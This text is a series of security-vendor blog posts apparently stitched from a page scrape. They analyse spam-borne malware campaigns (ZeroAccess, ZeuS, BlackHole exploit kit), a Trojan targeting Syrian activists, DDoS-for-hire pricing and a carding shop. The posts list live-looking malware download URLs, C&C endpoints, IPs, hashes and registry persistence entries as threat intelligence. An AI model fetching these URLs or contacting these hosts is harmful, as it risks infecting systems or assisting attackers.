The second attack vector in the campaign is exposing end and corporate users to malicious software currently hosted at Comodo's Backups service:

hxxps://server.backup.comodo.com/json/direct/default/XXX-DVDRip%20XVID-DFA.avi.zip?key=81741989-5172-4156-b70f-2e503b2ea21c

Detection rate – **MD5: 9e87f0f54e158fcd9f3b6005ead125aa** detected by 36 out of 42 antivirus scanners as Gen:Variant.Kazy.66225; Trojan:Win32/Sirefef.P; ZeroAccess.ea

Upon execution it phones back to the following — currently not-responding — URIs:

jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=1
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=19
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=21
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=4
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=5
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=6
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=7
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=8
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=23
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=24
jmjffyjr.cn/stat2.php?w=30465&i=000000000000000000000000b756e3bf&a=25
jmjffyjr.cn/stat2.php?

w=30465&i=000000000000000000000000b756e3bf&a=26
jmjffyjr.cn/stat2.php?
w=30465&i=000000000000000000000000b756e3bf&a=27
jmjffyjr.cn/stat2.php?
w=30465&i=000000000000000000000000b756e3bf&a=11

More MD5s are know to have used the same C&C in the past. For instance:

MD5: a1d2bf7c7a8c03240a05c329b5060213
MD5: 91c8bcf34e87e81ac50446c006d1ab49
MD5: 33184d0750809ba937276755dd929a06
MD5: f61e9136695ac2b251b08abae7fee488
MD5: 0cc4bc12eacaf362d69688155cf617bc
MD5: f9eb003644e894ce3ad42e7408881f3c
MD5: ce758842a5eb06135f49b9bef62b1f5e
MD5: 2ae42a30e87a1cdc9fd66a34ce53d861
MD5: 2e516201fd16b3bd395cf2d5f851aefc
MD5: 84f9132fcd271b87d2ae41f85d1b6e62
MD5: 0e490b9edbebb95317f19d00889732c2
MD5: b2c58dda97416396610034bc35fe990d
MD5: 0514b2da7333f64fe6cc9150251f31b0
MD5: 005bd9c2c850d40e54fd9ddde0e51cb3
MD5: 33779efe9fb6517bfe45d2fbc7dbab2f
MD5: fcd29f204792fea7e739dabe1e325cfc
MD5: 9e5da815a485a6d3b249a61ae92f69e3
MD5: 584f64a5feca1326eadd71e522e7cb5e
MD5: daf9cd83825b59fba202d154e99e76b8
MD5: c3b354cd5286c9aee01506d3ff59224c
MD5: 55a8b5da64fdb50fc9e5e38d56919f8e
MD5: d67200339bc1a26284dfe4ef0ab9e21a
MD5: 4e607ee369dd348dcecb48eb31b08826
MD5: d623b4f803018a4a8c14ff8758297f4e
MD5: f57b808ce538e26b63d3de86e0d57205
MD5: 7c5b82fea8105a599a4ef90d949305ff
MD5: 8ee2d9a501d70573f130e729531e0c96
MD5: d054cc54495183d3479be6930d02217a
MD5: d2c4ff89c0f6025cd29bfb320e8815bd
MD5: d7f61d7b19b8e7a3a29c5346faa84fd6

MD5: fde386f0018d598b726a00bdec63f7d2

MD5: 84faae1c3336fb44b116d4f47bef141f

MD5: 6a0e713168d0f3e891ae8f0420275916

MD5: ac8f01bc8ba4735ee10a3f391d765732

MD5: 1be595b3ad0bd9e9c1db048f3d2be914

MD5: 0608876d993c9c7f5f5b6d0d08da19dd

MD5: 91c8bcf34e87e81ac50446c006d1ab49

MD5: 8efcade7e2c27908e8c36baf56b338d8

MD5: 2e516201fd16b3bd395cf2d5f851aefc

MD5: a1d2bf7c7a8c03240a05c329b5060213

MD5: 5909b3fa1298e5c51d9653654a073407

MD5: 1db3a2d78805c9c4c708554ca66df5c4

MD5: 86ebf70db1f62e4e3c45de6e58dac36b

MD5: 71cec9ebe65367f609fb2f580654a6f4

MD5: a2c3bbcdb16d908373acfbe7fae89d67

MD5: 2d93ce4323104a87252d8bc4ee155b4e

MD5: 1edd7ff9db8b462a016b988f856fe372

MD5: 3fa187278268068a594f3bf9ca7622df

MD5: cda0adb653eaf4a9fe6486ceb05b1289

MD5: 56b6cb55daaad009ea54784d01047e5c

MD5: c9b26c3aecbb4ab82f3c9bbcd029bfe9

MD5: 0577591767b0feae9a0aa934ac3a8890

MD5: 8c214fdb2e50b008ff368970497a9d0c

MD5: 13939f2dad274588c805f696e6f64511

MD5: 3a30fc9cd6db5a7723dc3e4d51d5de61

MD5: 47b8c41d0214dcc660813bb0815ebbe4

MD5: fde386f0018d598b726a00bdec63f7d2

MD5: 1e7fb0db31385ab3437d4d4368bc004b

MD5: c00fab240065fbe82f6c4320a752939d

MD5: 73634ae63cecf7db8b31eb634c1d5136

MD5: 719c8f2fac4dcf46a5a5f5eaa3ebd298

MD5: 1d724471bd1aa7361a6ff6b3cf12489b

MD5: 31bd8a4829b80efb5744ea09cc2f3555

MD5: 9d901178fca81925348489cbc035e9e9

MD5: 8f293f6064fb7d4ce7f558befe410bd6

MD5: 064824030deed51518f7750d4036133a

MD5: 584f64a5feca1326eadd71e522e7cb5e

MD5: de2472d6c66bdd5a8134ee2e2e55f20d

MD5: 91372b10887a84eec342008fe71c8021

MD5: f36cf02a68e6d1a7cebeccd142fc14aa

MD5: e4a6c52928a8fb7148b8baaaf469f933

MD5: 8bcf8a15828dd3b8d57c55381d2adfa2

MD5: 32fbb9d4e4dd5cee58cec8a17b8d0694

MD5: 00fa0efa183d82a16e831c8b7a15eaee

MD5: 5f16d0806536248cc4bb045b8bd8c765

MD5: fe6298bca01a08e126abf9026fd2bd74

MD5: 5a91030427370a775a169eb222366234

MD5: 377da2d34a4eb7fb7c5114cd060a2e20

MD5: 823893915376 0b831c56a16f77db0cfe

MD5: 3d2d8dcb61ffbc1a6bd3885bbb3d3f72

MD5: 6db6b3dc836e4b6ff2ea6dbc37180f28

MD5: 9f157817145cb0cffaf408f27a7ef856

MD5: 68e433a93ff80db0666f62d88021152d

MD5: 39c99b3ebb956c2522c240073573ee10

MD5: 0413641a36d16b40d3a39a4423d9f49f

MD5: 17c59e6d62182d46bfcf494359d85d0c

MD5: 701abb91e0997efef3f408c3f9e728c2

MD5: 5b489ea868bcf3d23397bb3a16555dfb

MD5: 30963dd5d58dba92f115ba4ba45115ee

MD5: 3ef194082a583560b58069b0da691c04

MD5: 0382c16beb186c4ea34d87fd6c396a6d

MD5: 2421dc2c2ea0cae30b4a31eca1fa29a6

MD5: 10247cb7cbc64033142a122ef3c15417

MD5: dd577d2e9749a4d6115ea5efae61af93

MD5: 744695826257863c7567c820c4c6e8c0

MD5: 5d53ecb98c5afbb0ffaf92e5e05c386e

MD5: bce67b4a22e1c0c2b292eb0144b22e50

MD5: a03350e37f07bc0494317333d18e3b17

MD5: 2d185c78238a389624eeec36612ddbd7

MD5: 0cc4bc12eacaf362d69688155cf617bc

MD5: ae422757ea60786826c8da21f9436d8d

MD5: dfa41ed72f7a8d4a373ccffbe6361e5d

MD5: f61e9136695ac2b251b08abae7fee488

MD5: ce758842a5eb06135f49b9bef62b1f5e

MD5: 2ae42a30e87a1cdc9fd66a34ce53d861
MD5: 0e490b9edbebb95317f19d00889732c2
MD5: 8f1e4c533f65458879818d6e82c3312f
MD5: c3b354cd5286c9aee01506d3ff59224c
MD5: d7f61d7b19b8e7a3a29c5346faa84fd6
MD5: 0514b2da7333f64fe6cc9150251f31b0
MD5: d054cc54495183d3479be6930d02217a
MD5: 9e5da815a485a6d3b249a61ae92f69e3
MD5: 9f9f27c50c4d2c8a67e034f4e4bc18af
MD5: daf9cd83825b59fba202d154e99e76b8
MD5: 33779efe9fb6517bfe45d2fbc7dbab2f
MD5: 8efcade7e2c27908e8c36baf56b338d8
MD5: 5bf6981fc79f42865ff6fde5bb3d7b5c
MD5: 2b59d6d208893f92f14554ae2a05a6b0
MD5: 8e2f4bf01cb0de455d1a2c97ee606842
MD5: d2c4ff89c0f6025cd29bfb320e8815bd
MD5: 005bd9c2c850d40e54fd9ddde0e51cb3
MD5: 8ee2d9a501d70573f130e729531e0c96
MD5: 4e607ee369dd348dcecb48eb31b08826
MD5: 7c5b82fea8105a599a4ef90d949305ff
MD5: ac8f01bc8ba4735ee10a3f391d765732
MD5: fa51bbe66ac10f2b639ff1b2c472daf3
MD5: fcd29f204792fea7e739dabe1e325cfc
MD5: b69f2c6bf1174e207a579986ccee39d9
MD5: 0f46910399be9f698a2f268e30e1c013
MD5: 77ff7a59f4880eb41d43d7853b9698d1
MD5: b6a14e3156f53121766013895dc8148f

This isn’t the first time that Scribd has been abused by cybrecriminals monetizing the hijacked traffic through multiple campaign optimization techniques. In 2009, I exposed several scareware (fake security software) serving campaigns that were once again hijacking legitimate traffic using Scribd:

From Ukraine with Scareware Serving Tweets, Bogus LinkedIn/Scribd Accounts, and Blackhat SEO Farms From Ukraine with Bogus Twitter, LinkedIn and Scribd Accounts Celebrity-Themed Scareware Campaign Abusing DocStoc and Scribd

Webroot Secure Anywhere users are proactively protected from these threat. Scribd and Comodo have been notified.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'Your Amazon.com order confirmation' emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Everyone uses Amazon! At least that's what the cybercriminals are hoping. Cybercriminals are currently spamvertising millions of emails impersonating Amazon.com Inc. in an attempt to trick end and corporate users into clicking on the malicious links found in the emails.

More details:

Screenshot of the spamvertised email:

Sample subjects: *Your Amazon.com Kindle e-book order confirmation* ; *Your Amazon.com order confirmation*

Sample spamvertised compromised URIs: *hxxp://www.archos5.com/wp-content/themes/twentyten/enoz.html* ; *hxxp://bambizilla.com/wp-includes/enoz.html* ; *hxxp://save20discout.com/wp-content/plugins/social-stats/omaz.html*

Client-side exploits serving URIs: *hxxp://kidwingz.net/main.php?page=614411383eef8d97* ; *hxxp://cool-mail.net/main.php?page=640db37c90c88306*

cool-mail.net responds to 84.106.114.97, responding to the same IP are also the following domains **lifelovework.net** ; **homeofficecaptioning.ru** . Name servers courtesy of **ns1.grapecomputers.net** with the following domains also using the same name server as **cool-mail.net** – **grapecomputers.net** ; **kidwingz.net** ; **itscholarshipz.net** ; h**omeofficecaptioning.ru;** **kidwingz.net** responds to 208.91.197.54.

Both domains attempt to exploit client-side exploits served by the BlackHole web malware exploitation kit, Exploits **CVE-2010-1885** in particular.

Upon successful client-side exploitation the campaingn drops **MD5: c23dab8cff55155f815639d7072de21a** detected by 31 out of 42 antivirus scanners as TROJ_CRYPTOR.TH; Trojan.Generic.KD.644812, and and **MD5: 49f91a1597bc4dd25d3d23302125dae7** – detected by 5 out of 41 antivirus scanners as PWS-Zbot.gen.xs

Upon execution the samples create the following registry entry, next to creating a new process:

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] KB00121600.exe = ""%AppData%KB00121600.exe" so that KB00121600.exe runs every time Windows starts

Next, the samples phones back to **85.214.204.32** on port 8080, **hxxp://85.214.204.32:8080/zb/v_01_b/in/** in particular.

More MD5s are known to have phone back to the same command and control C&C server in the past: **MD5: aa9b1b6037afaceee96c888c948a20fe** – detected by 14 out of 42 antivirus scanners as Trojan.Generic.KDV.647512

MD5: 49f91a1597bc4dd25d3d23302125dae7 – detected by 5 out of 41 antivirus scanners as PWS-Zbot.gen.xs

MD5: 734aadd62d0662256a65510271d40048 – detected by 9 out of 42 antivirus scanners as Troj/DwnLdr-KAY

MD5: a444a9a941c1f0d28e5c3de711f04a3c – detected by 14 out of 42 antivirus scanners as Trojan.Generic.KD.647627

MD5: 3c87e446ccee826a4707d47f268d705d – detected by 25 out of 42 antivirus scanners as W32/AutoRun_Spy_Banker.P

MD5: cf6f40f1ce37fd8edefc447f68a88e1f – detected by 32 out of 42 antivirus scanners as Trojan.Win32.Yakes.aemo

MD5: 179c9ac5c2540a9bca5c0908e589a768 – detected by 28 out of 42 antivirus scanners as Troj/Bckdr-RLT

MD5: 83db494b36bd38646e54210f6fdcbc0d – detected by 33 out of 42 antivirus scanners as PWS-Zbot.gen.aae

MD5: 462210ddded90ea065829766797b42b7 – detected by 32 out of 42 antivirus scanners as Trojan-Dropper.Win32.Dapato.adpv

MD5: 712be7239b0e7e47869798658dabd4d0 – detected by 30 out of 42 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.emi

It’s worth emphasizing on the command and control (C&C) IP – **85.214.204.32** . Responding to 85.214.204.32 are the following name servers:

ns3.pistolitnameste.ru ns3.puleneprobivaemye.ru ns2.spbfotomontag.ru ns3.pushkidamki.ru ns3.hamlovladivostok.ru ns3.saprolaunimaxim.ru ns2.uzindexation.ru ns2.holigaansongeer.ru ns3.paranoiknepjet.ru ns2.piloramamoskow.ru ns2.girlsnotcryz.ru

Historically, the following domains were also responding to the same IP, part of the botnet’s infrastructure:

cvredret.ru cxredret.ru opiumdlanaroda.ru porosenokpetya.ru garemonmystage.ru horoshovsebudet.ru hmvmgywkvayilcwh.ru wfyusepaxvulfdtn.ru wiwwkvjkinewgycb.ru hjpyvexsutdctjol.ru hbirjhcnsuiwgtrq.ru axwiyyfbraskytvs.ru skjwysujlpedxxsl.ru sumgankorobanns.ru ngdvmtwodjjuovsnfj.ru vjcuiqecxaomkytb.ru vaopxjiaphevkfpqdo.ru yhbyqwmrtqxvmpryon.ru qtdlnxbqfohcpwft.ru jfhxihwykiuwfknoni.ru kblqegxrumlsrefvmb.ru hngajjkuknzwdliqfj.ru hdylanfzmfngwbwxnc.ru gizosuxwpeujnykjye.ru jlkjsxdsvtkygouiix.ru nolwzyzsqkhjkqhomc.ru wbgguucrbkrkjftn.ru usepaxvulfdtnwiwwk.ru eoicszuwkjskhvki.ru mceglkuyhzvzjxbj.ru

Historical OSINT on the name servers involved in the campaign, and the botnet’s infrastructure in general:

ns1.girlsnotcryz.ru => 62.213.64.161
ns2.girlsnotcryz.ru => 85.214.204.32
ns3.girlsnotcryz.ru => 50.57.88.200
ns4.girlsnotcryz.ru => 184.106.189.124
ns5.girlsnotcryz.ru => 50.57.43.49

ns1.hamlovladivostok.ru => 62.213.64.161
ns2.hamlovladivostok.ru => 62.76.189.62
ns3.hamlovladivostok.ru => 85.214.204.32
ns4.hamlovladivostok.ru => 50.57.88.200
ns5.hamlovladivostok.ru => 41.66.137.155
ns6.hamlovladivostok.ru => 50.57.43.49

ns1.puleneprobivaemye.ru => 62.213.64.161
ns2.puleneprobivaemye.ru => 62.76.189.62
ns3.puleneprobivaemye.ru => 85.214.204.32
ns4.puleneprobivaemye.ru => 50.57.88.200
ns5.puleneprobivaemye.ru => 41.66.137.155
ns6.puleneprobivaemye.ru => 50.57.43.49

ns1.pushkidamki.ru => 62.213.64.161
ns2.pushkidamki.ru => 62.76.189.62
ns3.pushkidamki.ru => 85.214.204.32
ns4.pushkidamki.ru => 50.57.88.200
ns5.pushkidamki.ru => 41.66.137.155
ns6.pushkidamki.ru => 50.57.43.49

ns1.spbfotomontag.r u => 62.213.64.161
ns2.spbfotomontag.r u => 85.214.204.32
ns3.spbfotomontag.r u => 50.57.88.200
ns4.spbfotomontag.r u => 184.106.189.124
ns5.spbfotomontag.ru => 50.57.43.49

ns1.piloramamoskow.ru => 62.213.64.161
ns2.piloramamoskow.ru => 85.214.204.32
ns3.piloramamoskow.r u => 50.57.88.200
ns4.piloramamoskow.ru => 184.106.189.124
ns5.piloramamoskow.ru => 50.57.43.49

ns1.insomniacporeed.ru => 62.213.64.161
ns2.insomniacporeed.ru => 85.214.204.32
ns3.insomniacporeed.ru => 50.57.88.200
ns4.insomniacporeed.ru => 184.106.189.124
ns5.insomniacporeed.ru => 50.57.43.49

ns1.norilsknikeli.ru => 62.213.64.161
ns2.norilsknikeli.ru => 85.214.204.32
ns3.norilsknikeli.ru => 50.57.88.200

ns4.norilsknikeli.ru => 184.106.189.124
ns5.norilsknikeli.ru => 50.57.43.49

ns1.mazdaforumi.ru => 62.213.64.161
ns2.mazdaforumi.ru => 85.214.204.32
ns3.mazdaforumi.ru => 50.57.88.200
ns4.mazdaforumi.ru => 184.106.189.124
ns5.mazdaforumi.ru => 50.57.43.49

ns1.immerialtv.ru => 62.76.41.3
ns2.immerialtv.ru => 62.213.64.161
ns3.immerialtv.ru => 195.88.242.10
ns4.immerialtv.ru => 41.66.137.155
ns5.immerialtv.ru => 83.170.91.152
ns6.immerialtv.ru => 85.214.204.32

ns1.opimmerialtv.ru => 62.213.64.161
ns2.opimmerialtv.ru => 85.214.204.32
ns3.opimmerialtv.r u => 50.57.88.200
ns4.opimmerialtv.ru => 184.106.189.124
ns5.opimmerialtv.ru => 50.57.43.49

ns1.pokeronmep.ru => 62.76.41.3
ns2.pokeronmep.ru => 62.213.64.161
ns3.pokeronmep.ru => 195.88.242.10
ns4.pokeronmep.ru => 41.66.137.155
ns5.pokeronmep.r u => 83.170.91.152
ns6.pokeronmep.ru => 85.214.204.32

ns1.poluicenotgo.ru => 62.76.41.3
ns2.poluicenotgo.ru => 62.213.64.161
ns3.poluicenotgo.ru => 195.88.242.10
ns4.poluicenotgo.ru => 41.66.137.155
ns5.poluicenotgo.ru => 83.170.91.152
ns6.poluicenotgo.ru => 85.214.204.32

ns1.uiwewsecondary.ru => 62.76.41.3
ns2.uiwewsecondary.ru => 62.213.64.161
ns3.uiwewsecondary.ru => 195.88.242.10
ns4.uiwewsecondary.r u => 41.66.137.155
ns5.uiwewsecondary.r u => 83.170.91.152
ns6.uiwewsecondary.ru => 85.214.204.32

ns1.validatoronmee.r u => 62.213.64.161
ns2.validatoronmee.ru => 195.62.52.69
ns3.validatoronmee.ru => 62.76.191.172
ns4.validatoronmee.ru => 41.66.137.155
ns5.validatoronmee.ru => 83.170.91.152
ns6.validatoronmee.ru => 85.214.204.32

ns1.vitalitysomer.ru => 62.213.64.161
ns2.vitalitysomer.ru => 195.62.52.69
ns3.vitalitysomer.ru => 62.76.191.172
ns4.vitalitysomer.ru => 41.66.137.155
ns5.vitalitysomer.ru => 83.170.91.152
ns6.vitalitysomer.ru => 85.214.204.32

ns1.wiskonsintpara.ru => 62.76.41.3
ns2.wiskonsintpara.ru => 62.213.64.161
ns3.wiskonsintpara.ru => 195.62.52.69
ns4.wiskonsintpara.ru => 41.66.137.155
ns5.wiskonsintpara.ru => 83.170.91.152
ns6.wiskonsintpara.ru => 85.214.204.32

ns1.webmastaumuren.ru => 62.76.41.3
ns2.webmastaumuren.ru => 62.213.64.161
ns3.webmastaumuren.ru => 195.62.52.69
ns4.webmastaumuren.ru => 41.66.137.155
ns5.webmastaumuren.ru => 83.170.91.152
ns6.webmastaumuren.ru => 85.214.204.32

ns1.webmastersuon.ru => 62.76.41.3
ns2.webmastersuon.ru => 62.213.64.161
ns3.webmastersuon.ru => 195.62.52.69
ns4.webmastersuon.ru => 41.66.137.155
ns5.webmastersuon.ru => 83.170.91.152
ns6.webmastersuon.ru => 85.214.204.32

ns1.qvzhpiaswhqlswkjit.ru => 62.76.45.241
ns2.qvzhpiaswhqlswkjit.ru => 62.213.64.161
ns3.qvzhpiaswhqlswkjit.ru => 85.214.204.32
ns4.qvzhpiaswhqlswkjit.ru => 216.151.129.198

ns1.xspisokdomenidgmens.ru => 62.76.45.241
ns2.xspisokdomenidgmens.ru => 62.76.191.172

ns3.xspisokdomenidgmens.ru => 62.213.64.161
ns4.xspisokdomenidgmens.ru => 85.214.204.32
ns5.xspisokdomenidgmens.ru => 209.114.47.158
ns6.xspisokdomenidgmens.ru => 78.83.233.242

Go through related analysis on previously spamvertised malware-serving campaigns:

Spamvertised 'DHL Package delivery report' emails serving malware Spamvertised 'UPS Delivery Notification' emails serving client-side exploits and malware Spamvertised bogus online casino themed emails serving adware Spamvertised 'Scan from a Hewlett-Packard ScanJet' emails lead to client-side exploits and malware Spamvertised CareerBuilder themed emails serving client-side exploits and malware Spamvertised Verizon-themed 'Your Bill Is Now Available' emails lead to ZeuS crimeware Spamvertised 'US Airways' themed emails serving client-side exploits and malware Spamvertised LinkedIn notifications serving client-side exploits and malware Spamvertised 'Pizzeria Order Details' themed campaign serving client-side exploits and malware Spamvertised 'Your tax return appeal is declined' emails serving client-side exploits and malware Spamvertised 'Your accountant license can be revoked' emails lead to client-side exploits and malware Spamvertised 'Termination of your CPA license' campaign serving client-side exploits

Webroot SecureAnywhere users are proactively protected from this threat.

Meanwhile, users are advised to ensure that they are not running outdated versions of their **third-party software** and **browser plugins** in an attempt to mitigate the risks posed by web malware exploitation kits exploiting outdated and already patched vulnerabilities.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'DHL Package delivery report' emails serving malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently spamvertising millions of emails impersonating DHL in an attempt trick end and corporate users into downloading and executing the malicious .zip file attached to the emails.

More details:

Sample message: *"Dear NAME, with this message we notify you that shipment at your destination, tracking ID #RANDOM_NUMBER, has FAILED due to an address mismatch. To claim your delivery please print out the attached document and contact DHL US support. Feel free to contact us with further questions. If you would like to speak to a DHL Express Support Agent, please call the DHL Service Desk at 1-800-527-7298. "*

Spamvertised attachment: DHL report.exe – **MD5: 15451d2c4b1630ddf0a2e7414c84b9dd** – detection rate – detected by 25 out of 41 antivirus scanners as Gen:Variant.Kazy.74567; Trojan.Win32.Jorik.Androm.ne

Upon execution, the sample modifies the registry [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] -> SunJavaUpdateSched = "%AllUsersProfile%svchost.exe" so that svchost.exe runs every time Windows starts.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised 'UPS Delivery Notification' emails serving client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Think you received a package? Think again. Cybercriminals are currently spamvertising millions of emails impersonating UPS (United Parcel Service) in an attempt to trick users into downloading the viewing the malicious **.html** attachment.

More details:

Subject: *UPS Delivery Notification, Tracking Number CDE_RANDOM_NUMBER*

Sample message: *You have attached the invoice for your package delivery. Thank you, United Parcel Service. *** This is an automatically generated email, please do not reply ****

Sample attachment: *invoiceCDE31400FCA9E1A9.html;* ***MD5: 3df9cab56e3a354c56d0b50680a9e087*** *detected by 8 out of 42 antivirus scanners as HTML:Iframe-inf; Trojan.IframeRef; Mal/JSRedir-J*

The attached .html file includes a tiny iFrame pointing to the client-side exploits serving domain **hxxp://www7apps-myups.com/main.php?page=cde31400fca9e1a9** – 96.43.129.237, Email: zxhxnjsgh@126.com

Upon loading, it attempts to exploit **CVE-2010-1885 ,** served by the BlackHole web malware exploitation kit.

Sample client-side exploitation chain: *hxxp://www7apps-myups.com/main.php?page=cde31400fca9e1a9 -> hxxp://www7apps-myups.com/Set.jar -> hxxp://www7apps-myups.com/data/ap2.php*

Upon successful exploitaion the campaingn drops the following MD5 on the infected hosts, **MD5: 5806aba72a0725a9d65eb12586846da3** , currently detected by 8 out of 41 antivirus scanners as Gen:Variant.Kazy.74635; Trojan.PWS.Panda.655.

It’s worth pointing out that the initially spamvertised .html file doesn’t contain any exploit code in an attempt to trick antivirus scanners into thinking it’s a legitimate content.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Skype propagating Trojan targets Syrian activists - Webroot Blog

facebook linkedin twitter

The Electronic Frontier Foundation (EFF) is reporting on a recently intercepted **malicious documents distributed over Skype** , apparently targeting Syrian activists.

Upon viewing the document, it drops additional files on the infected hosts, and opens a backdoor allowing the cyber spies behind the campaign access to the infected PC.

Webroot has obtained a copy of the malware and analyzed its malicious payload.

More details:

Screenshot of the spamvertised malicious document:

The malicious document has a MD5 of **bc403bef3c2372cb4c76428d42e8d188** and is currently detected by 11 out of 42 antivirus scanners as Backdoor:Win32/Fynloski.A; TROJ_GEN.R47B5F1.

Upon viewing it, it displays the above shown document, next to dropping the following files on the infected host:

Aleppo plan.pdf – **MD5: 6B0711F56086BAD87D214B6BDC94EAC8** explorer.exe – **MD5: EC99A9BA6FD95B806FCE0FE51538910E** Firefox.dll – **MD5: 646F3831C9988021DC292173DBC75B06** Startup(empty).lnk – **MD5: 78C7F53D4098D9AB4141D7636CAC443E** Firefox.dll – **MD5: D41D8CD98F00B204E9800998ECF8427E**

Once the infection takes place, the affected host wil attempt to connect to 216.6.0.28 on port 880. Another MD5 is known to have used this C&C IP before, for instance:

MD5: AF77B9BBA26100EA133C55385C50AFE9 attempts to obtain **hxxp://216.6.0.28/Update/Update.bin** – detected by 31 out of 42 antivirus scanners as Trojan-Dropper.Win32.Injector.avvq; Trojan:Win32/Meroweq.A

The same **C&C was previously used in February, 2012** , again in an attempt by cyber spies to target Syrian activists.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DDoS for hire services to 'take down competitor websites' on rise | Webroot

facebook linkedin twitter

Thanks to the increasing availability of **custom coded DDoS modules** within popular **malware** and **crimeware** releases, opportunistic cybercriminals are easily developing managed **DDoS for hire** , also known as "**rent a botnet** " services, next to orchestrating largely under-reported **DDoS extortion campaigns** against financial institutions and online gambling web sites.

In this post, I'll profile a managed DDoS for hire service, offering to "take down your competitor's web sites offline in a cost-effective manner".

More details:

Screenshots of the DDoS for hire/Rent a botnet service:

The paid DDoS service is currently offering HTTP (GET, POST), Download, ICMP, UDP, and SYN flooding features, using what they're pitching as private tools operated by expert staff members. Before a potential customer is interested in purchasing a DDoS attack for hire, the service if offering a 15 minute test to the customer in order to prove its effectiveness.

How much do these DDoS for Hire services cost?

The price for 1 hour or DDoS attack is $5
The price for 24 hours of DDoS attack is $40
The price for 1 week of persistent DDoS attack is $260
The price for 1 month of persistent DDoS attack is $900

The service is also offering 5%, 7%, 10% and 15% discounts to prospective customers, with a return policy based on the remaining time from the originally purchased package. The service profiled in this post, is the tip of the iceberg when it comes to the overall availability of DDoS for hire managed services within the cybercrime ecosystem. This fierce competition prompts for unique client acquisition tactics, such as offering complete anonymity throughout the purchasing and post-purchasing process in order to ensure that anyone can request any target, including high profile ones, to be attacked. Moreover, although the service is undermining the OPSEC (operational security) of the proposition by advertising on public forums, the business model of the competition is often driven by invite-only sales, where prospective customers are trusted and verified as hardcore cybercriminals with a significant credibility within the cybercrime ecosystem. These competing services even offer the possibility to a target government or law enforcement web sites, despite the fact that their botnet's activity will be easily spotted by security vendors and law enforcement agencies. Instead of exposing their main botnets and potentially risking their exposure, the cybercriminals behind these campaigns have been developing the **“aggregate-and-forget” botnet model** for years. These botnets that never make the news, are specifically aggregated for every customer's campaign in order to prevent the security community from properly attributing the source for the attack, taking into consideration the historical malicious activity performed by an already monitored botnet.

Webroot will continue monitoring the development of the DDoS for hire service profiled in this post.

*You can find more about Dancho Danchev at his **LinkedIn Profile**. You can also **follow him on Twitter**.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

A peek inside a boutique cybercrime-friendly E-shop - part three - Webroot Blog

facebook linkedin twitter

Over the past few months, I've been witnessing an increase in **underground market propositions** advertised by what appears to be **novice cybercriminals** . The trend, largely driven by the increasing supply of cybercrime-as-a-service underground market propositions, results in an increasing number of newly launched cybercrime-friendly E-shops attempting to monetize fraudulently obtained accounting data.

In this post, I'll profile yet another currently spamvertised cybercrime-friendly E-shop, offering access to accounts purchased using stolen credit cards as well as highlight the ways in which cybercriminals obtain the account info in the first place.

More details:

Screenshots of the boutique cybercrime-friendly E-shop:

Although the shop is pitching itself as a cybercrime-friendly shop for RDP, SMTP, Leads, CPanels, Root, Shells, SSH Accounts, PayPal accounts, VPN, it currently offers only carded SSH accounts, Leads and one carded VPN account. Using **stolen credit cards** , the cybercriminal behind the service is basically reselling access to these accounts. The price for a carded SSH account is $6, 100,000 international leads for possible spam and phishing campaigns go for $5, a carded RDP account based in Germany goes for $12, and a carded VPN account with unlimited transfer goes for $12.

Next to carding, how are the cybercriminal obtaining the stolen accounting data in the first place? There are several scenarios worth considering.

Data mining botnets for accounting details – This is perhaps one of the most popular ways to supply such cybercrime-friendly E-shops with the goods necessary to make them work. Once a cybercriminal has access to a botnet, he could easily data mine it for accounting data by sniffing for accounting details and then resell them through boutique cybercrime-friendly E-shops like the one profiled in this post. The process is fairly easy to accomplish thanks to modules available in modern malware, allowing a smooth data mining process for any kind of accounting data.

